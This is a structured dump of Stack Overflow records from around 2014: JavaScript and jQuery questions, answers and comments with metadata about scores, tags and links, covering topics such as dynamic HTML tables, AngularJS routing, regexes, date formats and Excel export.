has body: I have an array defined and appending it to a string field to dynamically write a HTML TR. I have named a series of JPEGs with the same name as the string value in the array so that I can dynamically print the String name and its associated image. My problem is that I want to add an onclick event to the image and pass a javascript function the same name that is printed for the table row. The images and string iterate properly but the value passed to the javascript function for each table row is defaulting to the last array item? I tried multiple scenarios and don't understand why the same storyWords[index] isn't working when it used to choose the correct JPEG file and print out the correct name. &lt;script type="text/javascript"&gt; var storyWords = ""; var index; var strWord =""; function doStuff(word){ alert(word); }; $(document).ready(function(){ var storyId = localStorage.getItem("StoryId"); var strHTML = "&lt;table&gt;"; if (storyId == "1"){ storyWords = ["Ant", "Bananas", "Bottle", "Car", "Castle"]; } else if (storyId == "2"){ storyWords = ["Dragons", "Football", "Hollow", "Hospital", "Island"]; } else if (storyId == "3"){ storyWords = ["Log", "Party", "Mountain", "Poles", "Princess"]; } else{ storyWords = ["Trophy"]; } for (index = 0; index &lt; storyWords.length; index++){ strWord = storyWords[index]; strHTML += "&lt;tr&gt;&lt;td&gt;&lt;img src=img/Words/" + storyWords[index] + ".jpg onclick=doStuff("+ storyWords[index] +");&gt;&amp;nbsp;&amp;nbsp;" + storyWords[index] + "&lt;/td&gt;&lt;/tr&gt;"; } $('#wordText').html(strHTML + "&lt;/table&gt;"); }); &lt;/script&gt; Thanks for any help!
has comment: http://stackoverflow.com/comment/40051022
tagged with: dynamic-arrays

http://stackoverflow.com/q/25575800
has body: I'm somewhat confused. I keep finding a lot of examples (like this and this) that explain how to track file downloads with Google Analytics. The problem is that most articles are pretty old and now Google uses the new "Universal Analytics" tracking code. But here's my dilemma. I don't want to mess up my download links by installing a code that may not work on some web browsers (see comments for that page.) So I'm curious, is there the official instructions (from Google for year 2014) on how to set up file download tracking that has an example of JavaScript that they recommend?
answer count: 1
has answer: http://stackoverflow.com/a/25578798
tagged with: universal-analytics
favorite count: 0
has title: Set up file download tracking for Google Analytics, new Universal Analytics tracking
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25578798
type: Question
upvote count: 4
tagged with: google-analytics
downvote count: 0
tagged with: javascript
score: 4

http://stackoverflow.com/comment/85445526
type: Comment
score: 1
has text: How were you able to get this to work on the same button element without a parent wrapper for e.stopPropagation()? I've tried this by attaching (click) and (touchend) via angular with e.stopPropagation() on the method they both attach to and it still fires twice.
comment on: http://stackoverflow.com/a/25583828
type: AnswerComment

http://stackoverflow.com/comment/39933204
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25569700
has text: Like this? http://jsfiddle.net/MelanciaUK/7nwg8mL3/
score: 0

http://stackoverflow.com/comment/40057715
comment on: http://stackoverflow.com/q/25637603
type: QuestionComment
type: Comment
score: 0
has text: @Sithys i can take but i need to select multiple images that time memory will cause the damage to the app

http://stackoverflow.com/q/25653267
has body: Fiddle Example I have a function called parseData to render html presentation from returned json data in the main js file. var data = { "title": "This is news" }; $("button").click(function(){ var feedformat = $(this).data('format'); item_html = parseData(feedformat, data); $('.feedback').append(item_html); }); function parseData(type, data) { var item_html = ''; switch(type) { case 'story': item_html = ' '+data.title+' '; break; } return item_html; } My question is, is it possible to use $.extend to add more cases from another script file that is dynamically pulled in on click using getscript? Suppose I have a new case called oldnews. That case contains a lot of html tags but won't be used often, so I don't want to store it in the main js file and would like to bring it in only when people want it. Call I use something like the following in another script file to extend parseData which is in the main js file? (function($){ var addcase = $.fn.parseData; $.fn.addcase = function( type,data ) { case 'oldnews': item_html = ' '+data.title+',but outdated '; break; }; }(jQuery));
has comment: http://stackoverflow.com/comment/40085959
has answer: http://stackoverflow.com/a/25653780
possible better answer: http://stackoverflow.com/a/25653858
has answer: http://stackoverflow.com/a/25653858
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25653780
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/40086689
tagged with: javascript
tagged with: jquery
has title: using $.extend() to add more cases to a switch statement function in jQuery?
score: 0
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/comment/40014453
score: 0
comment on: http://stackoverflow.com/a/25613451
has text: That was from on top of my head as a solution to the problem you posted :-) What I can think of is a utility class that does this work for you, and returns you an instance of the data structure with page names. Invoke this utility class method in the action class (assuming you are using Struts), and you have the object with files present in that folder for you to construct your rotation logic.
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/40076397
type: AnswerComment
comment on: http://stackoverflow.com/a/25647440
type: Comment
has text: @TooTiredToDrink You mean you want them to be highlighted 4 at a time, and then the next set of 4, and so on?
score: 1

http://stackoverflow.com/comment/40173146
score: 2
comment on: http://stackoverflow.com/q/25701433
type: QuestionComment
has text: because it's a bad browser :P
type: Comment

http://stackoverflow.com/q/25629066
tagged with: javascript
tagged with: jquery
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25629161
favorite count: 0
has body: How can I check and if exist stop javascript function? I have a counting down JS code bottom; function Countdown(options) { var timer, instance = this, seconds = options.seconds || 10, perTurn = options.perTurn || 1000, updateStatus = options.onUpdateStatus || function() {}, counterEnd = options.onCounterEnd || function() {}; function decrementCounter() { updateStatus(seconds); if (seconds === 0) { counterEnd(); instance.stop(); } seconds--; } this.start = function() { clearInterval(timer); timer = 0; seconds = options.seconds; timer = setInterval(decrementCounter, perTurn); }; this.stop = function() { clearInterval(timer); }; } function CountDownToPlay(userID) { var myCounter = new Countdown({ seconds: 20, perTurn: 2000, onUpdateStatus: function (sec) { console.log(sec); }, onCounterEnd: function () {} }); myCounter.start(); } It's counting down from more than 20 seconds, but manytime I must terminate the process... How can I kill current javascript process? And check if it is exist? DEMO: http://jsfiddle.net/Ercin/gmt04nx9/
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/40042109
has comment: http://stackoverflow.com/comment/40042032
has title: How to check if a specific Javascript Function running and terminating?
has answer: http://stackoverflow.com/a/25629146
score: 0
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/40041980

http://stackoverflow.com/comment/39968699
comment on: http://stackoverflow.com/q/25588734
score: 0
type: QuestionComment
type: Comment
has text: @drewish - you're right - I added an answer.

http://stackoverflow.com/comment/40105303
type: AnswerComment
has text: Can you please suggest me one more thing that now i have `logout_success.php` on the same machine but what should i do if `logout_success.php` is on other machine having same LAN?
type: Comment
score: 0
comment on: http://stackoverflow.com/a/25663481

http://stackoverflow.com/q/25693320
tagged with: angular-ui-bootstrap
linked to: http://stackoverflow.com/q/25017382
type: AnsweredQuestion
score: 3
has answer: http://stackoverflow.com/a/25697265
favorite count: 0
has title: Angularjs navigation menu with UI-Bootstrap tabs and UI-Router
tagged with: angularjs
type: Question
accepted answer: http://stackoverflow.com/a/25697265
answer count: 2
tagged with: angular-ui-router
possible better answer: http://stackoverflow.com/a/29937880
upvote count: 3
has answer: http://stackoverflow.com/a/29937880
has body: In this Plunker, I'm unable to make menu links and tabs to work properly. As you can see I need to click twice the 'Route 1' to go back from tabs Route2, moreover when I click twice the 'Route 2' menu link, the tabs content is not rendered. I think this is the relevant part of the code that matters: myapp.config(function($stateProvider, $urlRouterProvider) { $urlRouterProvider.otherwise("/"); $stateProvider .state('route1', { url: "/", templateUrl: "route1.html" }) .state('DocumentoMasterView', { url: "/route2", templateUrl: "route2.html", controller: 'myAppController' }) .state('DocumentoMasterView.A', { url: '/detail', templateUrl: 'route2.A.view.html', controller: 'myAppController' }) .state('DocumentoMasterView.B', { url: '/image', templateUrl: 'route2.B.view.html', controller: 'myAppController' }) .state('DocumentoMasterView.C', { url: '/submenu', templateUrl: 'route2.C.view.html', controller: 'myAppController' }) }); myapp.controller('myAppController',['$scope','$state',function($scope, $state){ $scope.tabs = [ { heading: 'A View', route:'DocumentoMasterView.A', active:true}, { heading: 'B View', route:'DocumentoMasterView.B', active:false }, { heading: 'C View', route:'DocumentoMasterView.C', active:false } ]; $scope.go = function(route){ $state.go(route); }; $scope.active = function(route){ return $state.is(route); }; $scope.$on('$stateChangeSuccess', function() { $scope.tabs.forEach(function(tab) { tab.active = $scope.active(tab.route); }); });
downvote count: 0
tagged with: javascript

http://stackoverflow.com/comment/40146509
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25686592
has text: If the url you are specifying is of same project then this can be done using 2 ajax request, 1 inside another. First, define the button click of the button using its class. then find the row items using `$(this).parent().parent()` which will give u row. THen using `$.ajax` you can post the records

http://stackoverflow.com/a/25699805
has body: [^type] does not negate sequences that are not "type", it instead negates any characters from the list "t", "y", "p" or "e". This means you should not use [^type&gt;]. Instead, try this regex: var regInline = /&lt;script(?:(?!type).)*&gt;(.*?)&lt;\/script&gt;/sgmi; Note that [\s\S] is replaced to . with /singleline modifier. Read more: Rails 3 - Precompiling all css, sass and scss files in a folder
answers question: http://stackoverflow.com/q/25655548
score: 0
type: Answer

http://stackoverflow.com/a/25642125
has body: You can't perform any JS action on any iframe that has another origin. That's a basic security policy of any web browser. It would be an enormous security flaw.
answers question: http://stackoverflow.com/q/25642054
has comment: http://stackoverflow.com/comment/40066151
type: AcceptedAnswer
score: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/25642054

http://stackoverflow.com/comment/40116223
score: 0
has text: Can you help me understand why someone would downvote our answers? You've been doing this longer than I have. We both posted the (correct) answer at the same time. The downvotes confuse me. In any case, I upvoted yours to compensate for your erroneous downvote.
type: Comment
comment on: http://stackoverflow.com/a/25670230
type: AnswerComment

http://stackoverflow.com/q/25603501
answer count: 1
tagged with: asp.net
type: UnansweredQuestion
has body: Please i need your help, I'm trying to pop up a new window in javascript. the new window would contain the information of the parent window. I added all the content in a div. the button that is calling the script is shown below. <asp:Button ID="Button6" OnClientClick="PrintElem('#info1');" CssClass="btn btn- primary btn-xs" runat="server" Text="Print Report"/> I have a div can contain all the content i want to display on the new window which is the idea is that i dont want to display the menu of the page. i just want that particular div content to display in the new window. when ever i clicked on the button, its shows an empty page throwing an UNDEFINED exception. thank you for your help. And here is my script. function PrintElem(elem) { Popup($(elem).html()); } function Popup(Data) { var mywindow = window.open('', 'my div', 'height=1000,width=1200'); mywindow.document.write(' Report Title '); // mywindow.document.write(' '); mywindow.document.write(' '); mywindow.document.write(Data); mywindow.document.write(' '); mywindow.print(); //mywindow.close(); return true; }
type: Question
has answer: http://stackoverflow.com/a/25606637
tagged with: javascript
has title: Poping Up a new window with content in javascript
tagged with: jquery
score: 0
has comment: http://stackoverflow.com/comment/39995201
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/a/25603246
answers question: http://stackoverflow.com/q/25602380
has body: Fixed $('#button2').click(function() { array.push([(Range),100]); array.sort(); N=N+1; for (var i = 0; i &lt; array.length; i++) { newrange = i*Range/N; array[i] = [newrange, 100]; } chart.series[0].setData(array); console.log(array); });
score: 0
type: Answer

http://stackoverflow.com/comment/39959355
has text: What does the mean to function name inside JSON? myFuncName( [ { } ] ) Is it like this?
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25583739

http://stackoverflow.com/q/25600968
tagged with: angularjs
has answer: http://stackoverflow.com/a/37934054
has answer: http://stackoverflow.com/a/28006172
answer count: 4
type: AnsweredQuestion
tagged with: cordova
downvote count: 0
type: Question
score: 3
has answer: http://stackoverflow.com/a/28152224
tagged with: javascript
tagged with: ionic-framework
possible better answer: http://stackoverflow.com/a/28152224
upvote count: 3
has answer: http://stackoverflow.com/a/25679506
accepted answer: http://stackoverflow.com/a/28006172
has title: Perform onload() in ionic
has body: I want to load a function when a page loads.So how to use native javascript onload function in ionic.Here is sample html page. Account test here is my javascript file function testload(){ alert("page loaded"); } I want to load the this when page is loaded.How it possible in ionicframework?
favorite count: 0
has comment: http://stackoverflow.com/comment/118707062

http://stackoverflow.com/a/25616605
has body: SAMPLE XML What is new in MS Word 2010?What is new in MS Word 2010?What is new in MS Word 2010?What is new in MS Word 2010?What is new in MS Word 2010?What is new in MS Word 2010?What is new in MS Word 2010?tapash <acceptable_option this_question_marks="2"> Tabs Buttons Check boxes Dialog boxes </acceptable_option> The Ribbon is divided into <acceptable_option this_question_marks="2"> Tabs </acceptable_option> AND JAVASCRIPT IS if (window.XMLHttpRequest){ xmlhttp=new XMLHttpRequest(); } else {// code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.open("GET","xml/fill_in_the_blank.xml",false); xmlhttp.send(); xmlDoc=xmlhttp.responseXML; myXMLDoc=xmlDoc.getElementsByTagName('item'); totalQuestion = myXMLDoc.length; $("#thePopUp").text(totalQuestion) BUT YOU NEED TO USE JQUERY AND "WEB SERVER OR SOMETHING LIKE WAMP"
score: 0
answers question: http://stackoverflow.com/q/25615698
type: Answer

http://stackoverflow.com/a/25674678
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25672258
has body: As epascarello helpfully pointed out, JSON.strigify() will automatically remove functions. You could use JSON.stringify() to strip out the functions and then convert the string back to an object using JSON.parse(). var noFun = JSON.parse( JSON.stringify( lotsOfFun ) );
score: 0
accepted answer of: http://stackoverflow.com/q/25672258
type: Answer

http://stackoverflow.com/a/25638760
type: Answer
upvote count: 1
has body: Using the content_scripts/matches property, you're limiting your jQuery to only load if the current URL matches http://www.google.com/*. Change it to match all domains: { "manifest_version" : 2, "name": "My Extension", "version": "1", "description": "Testing", "content_scripts": [ { "matches": ["http://*"], "js": ["jquery.min.js"] } ], "background": { "scripts": ["run.js"] } } From the docs: Required. Specifies which pages this content script will be injected into. See Match Patterns for more details on the syntax of these strings and Match patterns and globs for information on how to exclude URLs. OR, you can add it to your existing background scripts: "background": { "scripts": ["jquery.min.js", "run.js"] }
score: 1
downvote count: 0
answers question: http://stackoverflow.com/q/25638698

http://stackoverflow.com/comment/39957466
type: Comment
type: QuestionComment
has text: @MelanciaUK I found the error! The json file is more than 2k lines long so i did post a shorted version of it. The error was on line 171 where I forgot to put a }. Thanks so much!
comment on: http://stackoverflow.com/q/25582750
score: 0

http://stackoverflow.com/comment/40158992
type: Comment
score: 1
comment on: http://stackoverflow.com/a/25693188
has text: That did it, and also adding the box.html to web_accessible_resources
type: AnswerComment

http://stackoverflow.com/q/25574743
favorite count: 0
tagged with: ajax
type: UnansweredQuestion
score: -4
tagged with: php
has answer: http://stackoverflow.com/a/25576057
has comment: http://stackoverflow.com/comment/39942498
type: Question
tagged with: javascript
downvote count: 4
has body: so I'm doing a basic assignment for uni, they asked us to use ajax and php to create a text input that validates the name and email plus a live search bar, all this without using db. So I have the html already set up, the .php with 3 different arrays with names, emails and news stored in and a main.js that already displays whatever you type in the text input in the console with the keyup event trigger. I just can't figure out a way to make an ajax request to compare what you type in to the info stored in the arrays. In the arrays.php I have this : *$classes = array('1' =&gt; 101, '2'=&gt; 102, '3'=&gt;103 );* *$names = array('juan', 'tito', 'pedro', 'horacio', 'andres', 'cesar', 'nicolas');* *$news = array('Title'=&gt;array('El papa muere', 'Argentina gana el mundial', 'Fondos buitres cancelados' )'Noticia'=&gt;array('noticia1', 'noticia2', 'noticia3') );* and in the main.js I have something like this: $('#name').keyup(function(){ var name=$(this).val(); console.log(name); that retrieves what I type in each text field. As far as I can remember, the prof wrote something like this to give us a hint: $.ajax({ url: ' ', type: ' ', success:function(data){ } }): But I just can't figure it out so any help would be much appretiated!
upvote count: 0
tagged with: arrays
answer count: 1
tagged with: jquery
has title: php array request with AJAX

http://stackoverflow.com/a/25614011
answers question: http://stackoverflow.com/q/25613996
downvote count: 0
type: Answer
upvote count: 2
score: 2
has body: var dom = $(html); will set dom to a jQuery object containing DOM of the HTML. You can then do operations like dom.find("selector").append("&lt;div&gt;"); to modify it. $.parseHTML is similar, but it returns an array of DOM elements, not a jQuery object. So you can't use jQuery methods on it, you have to use regular DOM methods. Of course, you can wrap any or all of these in jQuery objects by calling $(...) on them.

http://stackoverflow.com/q/25648328
type: Question
has title: Checking a html date input is after a given date
has answer: http://stackoverflow.com/a/25648422
answer count: 2
tagged with: validation
tagged with: javascript
has comment: http://stackoverflow.com/comment/40076706
score: 0
has body: I have a form with a html datetime-local input type. When the form is submitted how can I check to see if the date entered is after the current time. I'd prefer to do this using pure javascript. The issue if comparing dates is that the form datetime-local element returns doesn't match the format from new Date() or new Date().toISOString() Format from form element: 2014-09-27T00:00 Format from new Date(): 2014-09-03T15:45:45.027Z Any help is appreciated.
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40077786
has answer: http://stackoverflow.com/a/25648485
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40076453

http://stackoverflow.com/comment/40046102
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25631075
has text: Also, I'm pretty sure js sort is stable. Not that I'm saying it's the best approach, but assuming your two sorts are working correctly independently, running them in sequence as you have should give the correct result.

http://stackoverflow.com/comment/40111274
comment on: http://stackoverflow.com/q/25667542
score: 0
type: Comment
type: QuestionComment
has text: I have updated my question. I want the left and right arrow buttons to work for two different things on the same page. Once when a div is 'display: none' the other when its 'display:block'. I tried triggering it with this but it didn't work.

http://stackoverflow.com/q/25708351
has title: Method chaining and/or value caching
has comment: http://stackoverflow.com/comment/40186069
has answer: http://stackoverflow.com/a/25722712
score: 4
type: Question
upvote count: 4
has answer: http://stackoverflow.com/a/25711494
downvote count: 0
has answer: http://stackoverflow.com/a/25708599
tagged with: javascript
favorite count: 0
has answer: http://stackoverflow.com/a/25708719
answer count: 5
has answer: http://stackoverflow.com/a/25712529
has body: Say i have a constructor, and some instance methods, like function MyClass(name) { this.name = name || ''; } MyClass.prototype = { constructor: MyClass, isEmptyName: function() { return this.name === ''; } } Now i can write var myClass = new MyClass('Ben'); myClass.isEmptyName(); which would return false. Now if i make another method what would also return a Boolean MyClass.prototype = { constructor: MyClass, isEmptyName: function() { return this.name === ''; } longerThan: function(len) { return this.name.length &gt; len; } } i would like to chain these methods like this (somehow, thats my question :) ) myClass.isEmptyName().and.longerThan(2); Just omit now the '.and.' part. I want the upper statement to finally return a value false &amp;&amp; true -> false Or a more realistic sample: myClass.notEmptyName().and.longerThan(4); To summarize my problem i would say, i want my methods return a boolean value if they are called 'directly' myClass.notEmptyName() should return true, but work like i wrote in the samples, otherwise. Other libraries do this somehow, but i can't guess how, npm's should is a good example: user.should.have.property('pets').with.lengthOf(4); user.pets.should.be.instanceof(Array).and.have.lengthOf(4); Thanks
has comment: http://stackoverflow.com/comment/40185980
type: UnansweredQuestion

http://stackoverflow.com/a/25670420
has comment: http://stackoverflow.com/comment/40116764
score: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/40116928
has comment: http://stackoverflow.com/comment/40116732
type: Answer
has body: You can use this regex: ^-?(?:[1-9][0-9]{0,8}(?:\.[0-9]{1,2})?|\.[0-9]{1,2})$ RegEx Demo EDIT: If you want to allow 0.45 as valid input then use: ^-?(?:[1-9][0-9]{0,8}(?:\.[0-9]{1,2})?|0*\.[0-9]{1,2})$
upvote count: 3
answers question: http://stackoverflow.com/q/25670348
has comment: http://stackoverflow.com/comment/40119802

http://stackoverflow.com/comment/40128710
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25677091
type: Comment
has text: Hang on, I don't own the page. Do I "inject" my javascript into their page ? - this doesn't seem fair. Are HTTP Observers a possible solution? https://developer.mozilla.org/en-US/Add-ons/Overlay_Extensions/XUL_School/Intercepting_Page_Loads

http://stackoverflow.com/q/25708495
has comment: http://stackoverflow.com/comment/40186359
score: 0
has comment: http://stackoverflow.com/comment/40186259
has comment: http://stackoverflow.com/comment/40187575
answer count: 1
has answer: http://stackoverflow.com/a/25709076
tagged with: jquery
has title: Checkbox not getting uncheck after going back
tagged with: checkbox
linked to: http://stackoverflow.com/q/8208627
type: AnsweredQuestion
has body: I have a code where i m using some checkboxes on click of them i m appending the checkbox value in url with hash but when i go back or press back button url gets changes but checkbox remains checked.Please check the code as follows one two three four five six seven eight Right now when i click back after checking some checkboxes,url gets changed.but the checkbox still remains checked.How can i make checkbox unchek after going back once i checked some checkboxes...
type: Question
accepted answer: http://stackoverflow.com/a/25709076
tagged with: javascript

http://stackoverflow.com/q/25628333
has comment: http://stackoverflow.com/comment/42989126
favorite count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/27322195
has body: I have the following code to export HTML tables to Excel: function exportToExcel(tableID) { var detailsTable= document.getElementById(tableID); var oExcel = new ActiveXObject("Excel.Application"); var oBook = oExcel.Workbooks.Add; var oSheet = oBook.Worksheets(1); for (var y=0;y&lt;detailsTable.rows.length;y++) { for (var x=0;x&lt;detailsTable.rows(y).cells.length;x++) { oSheet.Cells(y+1,x+1)= detailsTable.rows(y).cells(x).innerText; } } oExcel.Visible = true; oExcel.UserControl = true; oExcel.Columns.AutoFit(); oExcel.Rows.Autofit(); } The export works but Excel is changing the dates in some cases. Instead of DD/MM/YYYY it changes to MM/DD/YYYY. For example: In HTML the date is 29/05/2014 (DD/MM/YYYY), in Excel the date is 29/05/2014 (DD/MM/YYYY). In HTML the date is 02/07/2014 (DD/MM/YYYY) in Excel the date is 07/02/2014 (MM/DD/YYYY), this last case is wrong. Tried to format the javascript date without lucky to: var now = new Date(); now.format("dd/mm/yyyy"); Tried to use NumberFormat without lucky: oExcel.Cells(y+1,x+1).NumberFormat = "DD/MM/YYYY"; Tried to use the style in the TD without lucky: style="mso-number-format:"dd\/mm\/yyyy" UPDATE: Adding (as a test): oSheet.Cells(y+1,x+1).NumberFormat = "[$-F800]dddd, mmmm dd, yyyy" Inside the second for, actually format the date. As I can see the date is already wrong in this point. I mean, in the table it shows 07/11/2014 (dd/mm/yyyy) and in the export it shows 11/07/2014 (mm/dd/yyyy)
linked to: http://stackoverflow.com/q/380100
score: 1
has comment: http://stackoverflow.com/comment/43083426
upvote count: 1
tagged with: export-to-excel
type: Question
has answer: http://stackoverflow.com/a/27199840
tagged with: javascript
has answer: http://stackoverflow.com/a/61929056
has comment: http://stackoverflow.com/comment/42875134
has title: HTML to Excel: Data format changes
answer count: 3
downvote count: 0

http://stackoverflow.com/a/25564714
downvote count: 0
has body: You need to run the code that does the assignment after you have added the element to the DOM. The simplest way is: &lt;h1 id="ph"&gt;&lt;/h1&gt; &lt;script&gt; var element = document.getElementById('ph'); &lt;/script&gt; Alternatively, use an event handler that runs after the element is added. &lt;script&gt; var element; addEventListener('load', function () { element = document.getElementById('ph'); }); &lt;/script&gt;
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/25564658
score: 5
answers question: http://stackoverflow.com/q/25564658
upvote count: 5

http://stackoverflow.com/a/25596924
has body: You can use user-select in CSS on any elements you don't want to be clicked on. Variants are needed for some older browsers though. As follows; -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none;
downvote count: 0
type: Answer
upvote count: 6
answers question: http://stackoverflow.com/q/25596846
score: 6

http://stackoverflow.com/a/25663481
has comment: http://stackoverflow.com/comment/40106579
score: 0
type: Answer
has body: You can do it in JS like this: Go Instead of http://www.google.com use your desired url.
has comment: http://stackoverflow.com/comment/40105303
answers question: http://stackoverflow.com/q/25663086
accepted answer of: http://stackoverflow.com/q/25663086
type: AcceptedAnswer

http://stackoverflow.com/a/50365267
downvote count: 0
answers question: http://stackoverflow.com/q/25582882
type: Answer
upvote count: 3
score: 3
has body: I have tested several functions with the right configuration all work similarly and well. http://jsfiddle.net/p3y40gf3/29/ Central limit is nice, must be with (n=3 for 6) and 12 for 12 to look as others. I configured others also to (6) or 12 or 1/12 as standard deviation, not sure why 12. Central limit is a tiny bit less centered than Box/Muller and Ziggurat. Box/Muller and Ziggurat look exactly the same this variant by Joe(https://stackoverflow.com/a/33567961/466363) does standard deviation correctly: function normal(mu, sigma, nsamples){ // using central limit if(!nsamples) nsamples = 3 if(!sigma) sigma = 1 if(!mu) mu=0 var run_total = 0 for(var i=0 ; i&lt;nsamples ; i++){ run_total += Math.random() } return sigma*(run_total - nsamples/2)/(nsamples/2) + mu } Ziggurat is also nice but needs to be adjusted from z score to from 0 to 1 looks like it makes good numbers. Box/Muller clipped is good but gives few repeated numbers at clipped edges but it is very similar to others, incorrect random numbers should be discarded not clipped. function randn_bm() { var u = 0, v = 0; while(u === 0) u = Math.random(); //Converting [0,1) to (0,1) while(v === 0) v = Math.random(); let num = Math.sqrt( -2.0 * Math.log( u ) ) * Math.cos( 2.0 * Math.PI * v ); num = num / 6.0 + 0.5; // Translate to 0 -&gt; 1 // changed here 10 to 6 if(num&gt;1||num&lt;0) return randn_bm(); return num; // bad random numbers should be discared not clipped //return Math.max(Math.min(num, 1), 0); // cap between 0 and 1 } Central limit variant it is called Bates distribution that is average https://en.wikipedia.org/wiki/Bates_distribution not confused with Irwin Hall that is a sum https://en.wikipedia.org/wiki/Irwin%E2%80%93Hall_distribution https://en.wikipedia.org/wiki/Normal_distribution#Generating_values_from_normal_distribution

http://stackoverflow.com/comment/39967217
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25587926
type: AnswerComment
has text: It sounds like your problem isn't server side, it's client side. It sounds like you have all of the data from the database when you're emitting it, so you could just emit it within a JSON object and then deal with that data separately, no?

http://stackoverflow.com/comment/40102670
has text: Add some HTML please!!
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/25662834

http://stackoverflow.com/a/25699526
type: Answer
has body: this in your plugin is a jquery collection containing multiple elements. I think that you want instead is the following: $.fn.codigo = function() { this.each(function(){ $(this).append($(this).text()); }); return this; }
score: 0
answers question: http://stackoverflow.com/q/25699445

http://stackoverflow.com/q/25691144
type: UnansweredQuestion
has body: I have a Question with answer, But i want to know the reason. There are two types to declare an object in javascript. var test = {} // literal method var test = new object(); Here the best best method I found in all the site is literal method. But I want to know the reason for why literal method in the best??
has comment: http://stackoverflow.com/comment/40154392
duplicate of: http://stackoverflow.com/q/14051856
has comment: http://stackoverflow.com/comment/40154423
has title: Why should we use the literal {} instead of new object()
type: Question
tagged with: javascript
score: 0
linked to: http://stackoverflow.com/q/14051856
answer count: 0

http://stackoverflow.com/comment/39936981
has text: it works fine.I don't want the max.but what if the first argument in a function is a string?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25570747

http://stackoverflow.com/comment/40032053
has text: UTC and <Local timezone> are two ways of *displaying* a date. You don't need to 'convert' a date(which is a fixed point in time) to a 'universal date'.
type: Comment
comment on: http://stackoverflow.com/q/25622512
score: 1
type: QuestionComment

http://stackoverflow.com/q/25590931
has answer: http://stackoverflow.com/a/25591870
has comment: http://stackoverflow.com/comment/39972082
has answer: http://stackoverflow.com/a/25592858
has body: How must a function be 'chained', in order to call this function like this F('Test').custom_substring(0,1);
has comment: http://stackoverflow.com/comment/39975706
has answer: http://stackoverflow.com/a/25592088
score: 0
linked to: http://stackoverflow.com/q/9338439
linked to: http://stackoverflow.com/q/16063394
has comment: http://stackoverflow.com/comment/39972181
accepted answer: http://stackoverflow.com/a/25592858
answer count: 3
has title: Parameter of a function within a function
has comment: http://stackoverflow.com/comment/39972119
has comment: http://stackoverflow.com/comment/39972228
type: AnsweredQuestion
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25591870
type: Question

http://stackoverflow.com/comment/40007461
comment on: http://stackoverflow.com/a/25608796
type: AnswerComment
score: 0
type: Comment
has text: Of course it will return and empty alert since you're not setting any value to that input by default, check your own code and you will see what I'm talking about. You can try this instead `$(document).ready(function(){ $('#ikproj_groupebundle_eventsgroupe_start').on('change, function() { alert$(this).val() } });` and you should see the new value write on the input text and try to leave here the HTML generated after you load the page, I'm talking as a wizard since I don't get what you're doing

http://stackoverflow.com/q/25635336
has answer: http://stackoverflow.com/a/25635510
type: AnsweredQuestion
tagged with: arrays
has comment: http://stackoverflow.com/comment/40053575
tagged with: javascript
has body: I'm currently trying to get the values of checked checkboxes. These checkboxes have unique IDs because they are defined on a modal box. &lt;input type = 'checkbox' id = 'audience_Name-$row[asset_ID]' value = 'SMB'&gt; SMB &lt;input type = 'checkbox' id = 'audience_Name-$row[asset_ID]' value = 'SMB'&gt; SMB &lt;input type = 'checkbox' id = 'audience_Name-$row[asset_ID]' value = 'SMB'&gt; SMB &lt;input type = 'checkbox' id = 'audience_Name-$row[asset_ID]' value = 'SMB'&gt; SMB &lt;input type = 'checkbox' id = 'audience_Name-$row[asset_ID]' value = 'SMB'&gt; SMB &lt;input type = 'button' id = 'editAssetColumn' value = 'Submit'&gt; And here, I'm testing if I'm retrieving them but unfortunately, I cannot. $("button#editAssetColumn").click( function() { var edit_id = $(this).attr('id'); var name = $("input#audience_Name:checked-"+edit_id).val(); $('input#audience_Name:checked-'+edit_id).each(function() { alert("Success!"); }); }); I believe it's the syntax... Thanks in advance!
tagged with: ajax
has answer: http://stackoverflow.com/a/25635507
type: Question
possible better answer: http://stackoverflow.com/a/25635451
has answer: http://stackoverflow.com/a/25635451
score: 0
answer count: 3
tagged with: php
accepted answer: http://stackoverflow.com/a/25635507
has comment: http://stackoverflow.com/comment/40053552
has comment: http://stackoverflow.com/comment/40053558
has comment: http://stackoverflow.com/comment/40053516
has title: How to get the checked checkboxes values with ID in javascript

http://stackoverflow.com/q/25602489
favorite count: 0
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
tagged with: regex
score: -1
tagged with: parsing
has title: JSoup and Javascript code
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25602869
linked to: http://stackoverflow.com/q/14904776
tagged with: jsoup
upvote count: 0
